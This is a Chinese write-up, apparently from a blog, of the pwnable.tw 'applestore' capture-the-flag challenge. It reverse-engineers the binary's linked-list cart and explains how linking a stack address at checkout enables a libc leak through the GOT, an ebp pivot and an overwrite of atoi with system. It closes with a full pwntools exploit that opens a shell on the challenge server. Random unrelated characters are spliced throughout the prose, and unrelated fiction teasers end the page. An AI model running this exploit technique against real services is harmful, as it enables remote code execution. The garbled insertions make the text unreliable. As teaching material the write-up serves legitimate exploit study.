Pwnable.tw(一)applestore

applestore

首先看下安全機制,沒有開啟pie碉咆,可能要使用到程序中的某個地址:

[*] '/home/nevv/Desktop/applestore.dms'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

? 大概運行了程序后抖韩,是個類似購物車的功能,有增疫铜、刪茂浮、查看的功能。

add

unsigned int add()
{
  char **v1; // [esp+1Ch] [ebp-2Ch]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Device Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  switch ( atoi(&nptr) )
  {
    case 1:
      v1 = create((int)"iPhone 6", (char *)0xC7);
      insert((int)v1);
      goto LABEL_8;
    case 2:
      v1 = create((int)"iPhone 6 Plus", (char *)0x12B);
      insert((int)v1);
      goto LABEL_8;
    case 3:
      v1 = create((int)"iPad Air 2", (char *)0x1F3);
      insert((int)v1);
      goto LABEL_8;
    case 4:
      v1 = create((int)"iPad Mini 3", (char *)0x18F);
      insert((int)v1);
      goto LABEL_8;
    case 5:
      v1 = create((int)"iPod Touch", (char *)0xC7);
      insert((int)v1);
LABEL_8:
      printf("You've put *%s* in your shopping cart.\n", *v1);
      puts("Brilliant! That's an amazing idea.");
      break;
    default:
      puts("Stop doing that. Idiot!");
      break;
  }
  return __readgsdword(0x14u) ^ v3;
}

? 然后具體看下 create 和 insert 函數(shù):

create & insert

char **__cdecl create(int a1, char *a2)
{
  char **v2; // eax
  char **v3; // ST1C_4

  v2 = (char **)malloc(16u);
  v3 = v2;
  v2[1] = a2;
  asprintf(v2, "%s", a1);
  v3[2] = 0;
  v3[3] = 0;
  return v3;
}

int __cdecl insert(int a1)
{
  int result; // eax
  _DWORD *i; // [esp+Ch] [ebp-4h]

  for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
    ;
  i[2] = a1;
  result = a1;
  *(_DWORD *)(a1 + 12) = i;
  return result;
}

? 可以看出購物車是一個鏈表結(jié)構(gòu):

.bss:0804B064 completed_6590  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804B064                                         ; __do_global_dtors_aux+14↑w
.bss:0804B065                 align 4
.bss:0804B068                 public myCart
.bss:0804B068 myCart          db    ? ;               ; DATA XREF: insert+6↑o
.bss:0804B068                                         ; main+39↑o
.bss:0804B069                 db    ? ;
.bss:0804B06A                 db    ? ;
.bss:0804B06B                 db    ? ;
.bss:0804B06C                 db    ? ;
.bss:0804B06D                 db    ? ;
.bss:0804B06E                 db    ? ;
.bss:0804B06F                 db    ? ;
.bss:0804B070 dword_804B070   dd ?                    ; DATA XREF: delete+18↑r
.bss:0804B070                                         ; cart+61↑r
.bss:0804B074                 align 8
.bss:0804B074 _bss            ends
.bss:0804B074

delete

unsigned int delete()
{
  signed int v1; // [esp+10h] [ebp-38h]
  _DWORD *v2; // [esp+14h] [ebp-34h]
  int user_input; // [esp+18h] [ebp-30h]
  int v4; // [esp+1Ch] [ebp-2Ch]
  int v5; // [esp+20h] [ebp-28h]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  v1 = 1;
  v2 = (_DWORD *)dword_804B070;
  printf("Item Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  user_input = atoi(&nptr);
  while ( v2 ) 
  {
    if ( v1 == user_input )
    {
      v4 = v2[2]; // next_thing
      v5 = v2[3]; // prev_thing
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4; 
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
      printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
      return __readgsdword(0x14u) ^ v7;
    }
    ++v1;
    v2 = (_DWORD *)v2[2];
  }
  return __readgsdword(0x14u) ^ v7;
}

cart

? dword_804B070 存儲的是購物車的位置壳咕,索引0存儲的是商品名字席揽,索引1存儲的是價格,23是前一個和后一個商品谓厘。

int cart()
{
  signed int v0; // eax
  signed int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  _DWORD *i; // [esp+20h] [ebp-28h]
  char buf; // [esp+26h] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(&buf, 0x15u);
  if ( buf == 'y' )
  {
    puts("==== Cart ====");
    for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *i, i[1]);
      v3 += i[1];
    }
  }
  return v3;
}

? 返回值是打印的商品價格總和

checkout

? 如果商品價格是7174個的話幌羞,會添加進去一個 iPhone8

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert((int)&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}

?

分析

  • 購物車數(shù)據(jù)結(jié)構(gòu)
struct mycart{
    0-4 name
    4-8 price
    8-12 next_thing
    12-16 prev_thing
}
  • free的時候并沒有調(diào)用free函數(shù)真正釋放掉空間,而是把其從雙向鏈表中取下來竟稳,類似于unlink属桦。
      v4 = v2[2]; // prev_thing
      v5 = v2[3]; // next_thing
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4; 
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
  • 程序沒有開啟pie熊痴,可能是要利用got表之類的,簡單看下接收輸入的函數(shù):
char *__cdecl my_read(void *buf, size_t nbytes)
{
  char *result; // eax
  ssize_t v3; // [esp+1Ch] [ebp-Ch]

  v3 = read(0, buf, nbytes);
  if ( v3 == -1 )
    return (char *)puts("Input Error.");
  result = (char *)buf + v3;
  *((_BYTE *)buf + v3) = 0;
  return result;
}
利用點

1.這里使用的是read函數(shù)來接收輸入聂宾,read函數(shù)遇到/x00是不會終止的果善,且atoi是以/x00作為分割符,在添加iphone8的時候系谐,會直接把一個棧上的地址鏈接入鏈表:

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]   位置是 ebp-20h
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert((int)&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}
  1. 而在進入其他函數(shù)的時候巾陕,我們正好能控制對應(yīng)的區(qū)域:
int cart()
{
  signed int v0; // eax
  signed int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  _DWORD *i; // [esp+20h] [ebp-28h]
  char buf; // [esp+26h] [ebp-22h]   // 我們能夠通過my_read函數(shù)控制的區(qū)域
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(&buf, 0x15u);
  if ( buf == 'y' )
  {
    puts("==== Cart ====");
    for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *i, i[1]);
      v3 += i[1];
    }
  }
  return v3;
}
  1. 在有就是在調(diào)用cart函數(shù)的時候,我們能夠控制的區(qū)域正好和添加iphone8的時候椢蹬福空間重合惜论。

綜上:

泄漏libc基地址

  • 首先構(gòu)造出添加iphone8的條件
  • 然后使用cart函數(shù)構(gòu)造棧上對應(yīng)的prev_thing和next_thing指針為got表
  • 調(diào)用checkout函數(shù)许赃,把iphone8鏈接入雙向鏈表
  • 調(diào)用cart函數(shù)止喷,即可泄漏出libc的基址

劫持程序控制流

  • 直接unlink的話會在system函數(shù)的位置寫入值導(dǎo)致段錯誤

因此我們考慮劫持程序的ebp,在delete函數(shù)unlink后混聊,改寫其ebp的值弹谁,使其變?yōu)?atoi_got_addr + 0x22,這樣的話由于程序 atoi_got_addr + 0x22 + 0xc是可寫入的句喜,因此能夠繞過安全檢查预愤。同時在退出delete函數(shù)的時候,由于buf位置是從 ebp-0x22起始的咳胃,也就是atoi_got_addr植康,直接將其改寫為system函數(shù)的地址同時使用截斷傳入/bin/sh字符串即可。

exp

from pwn import *

def insert(n):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(n)
    p.recvuntil("amazing idea.\n")
def delete(n):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(n)
def checkout():
    p.recvuntil("> ")
    p.sendline("5")
    p.recvuntil("> ")
    p.sendline("y")
    p.recvuntil("Maybe next time!\n")
def cart(n):
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("> ")
    p.sendline("y\x00" + p32(n) + p32(0)*3)
    p.recvuntil("27: ")

p = remote("139.162.123.119",10104)
elf=ELF("./applestore")
elib = ELF("./libc_32.so.6")
atoi_got_addr = elf.got["atoi"]

for i in range(6):
    insert("1")
for i in range(20):
    insert("2")
    
checkout()
cart(atoi_got_addr)
atoi_addr = u32(p.recvuntil("\n")[:4])
environ_bss = atoi_addr - elib.symbols['atoi'] + elib.symbols['environ']
cart(environ_bss)
environ_addr = u32(p.recvuntil("\n")[:4])
system_addr = atoi_addr - elib.symbols['atoi'] + elib.symbols['system']

ebp_addr = environ_addr - 0x104 # 調(diào)試得到的old ebp address of handle 
ebp_new_addr = ebp_addr - 0x8 # for unlink

p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline("27" + p32(0) * 2 + p32(atoi_got_addr + 0x22) + p32(ebp_new_addr))
p.recvuntil("> ")
p.sendline(p32(system_addr)+";/bin/sh\x00") # getshell
p.interactive()

參考鏈接

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末展懈,一起剝皮案震驚了整個濱河市销睁,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌存崖,老刑警劉巖冻记,帶你破解...
    沈念sama閱讀 216,402評論 6 499
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異来惧,居然都是意外死亡冗栗,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,377評論 3 392
  • 文/潘曉璐 我一進店門供搀,熙熙樓的掌柜王于貴愁眉苦臉地迎上來隅居,“玉大人,你說我怎么就攤上這事葛虐√ピ矗” “怎么了?”我有些...
    開封第一講書人閱讀 162,483評論 0 353
  • 文/不壞的土叔 我叫張陵挡闰,是天一觀的道長乒融。 經(jīng)常有香客問我掰盘,道長,這世上最難降的妖魔是什么赞季? 我笑而不...
    開封第一講書人閱讀 58,165評論 1 292
  • 正文 為了忘掉前任愧捕,我火速辦了婚禮,結(jié)果婚禮上申钩,老公的妹妹穿的比我還像新娘次绘。我一直安慰自己,他們只是感情好撒遣,可當(dāng)我...
    茶點故事閱讀 67,176評論 6 388
  • 文/花漫 我一把揭開白布邮偎。 她就那樣靜靜地躺著,像睡著了一般义黎。 火紅的嫁衣襯著肌膚如雪禾进。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,146評論 1 297
  • 那天廉涕,我揣著相機與錄音泻云,去河邊找鬼。 笑死狐蜕,一個胖子當(dāng)著我的面吹牛宠纯,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播层释,決...
    沈念sama閱讀 40,032評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼婆瓜,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了贡羔?” 一聲冷哼從身側(cè)響起廉白,我...
    開封第一講書人閱讀 38,896評論 0 274
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎治力,沒想到半個月后蒙秒,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,311評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡宵统,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,536評論 2 332
  • 正文 我和宋清朗相戀三年晕讲,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片马澈。...
    茶點故事閱讀 39,696評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡瓢省,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出痊班,到底是詐尸還是另有隱情勤婚,我是刑警寧澤,帶...
    沈念sama閱讀 35,413評論 5 343
  • 正文 年R本政府宣布涤伐,位于F島的核電站馒胆,受9級特大地震影響缨称,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜祝迂,卻給世界環(huán)境...
    茶點故事閱讀 41,008評論 3 325
  • 文/蒙蒙 一睦尽、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧型雳,春花似錦当凡、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至冤荆,卻和暖如春朴则,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背匙赞。 一陣腳步聲響...
    開封第一講書人閱讀 32,815評論 1 269
  • 我被黑心中介騙來泰國打工佛掖, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留妖碉,地道東北人涌庭。 一個月前我還...
    沈念sama閱讀 47,698評論 2 368
  • 正文 我出身青樓,卻偏偏與公主長得像欧宜,于是被迫代替她去往敵國和親坐榆。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,592評論 2 353

推薦閱讀更多精彩內(nèi)容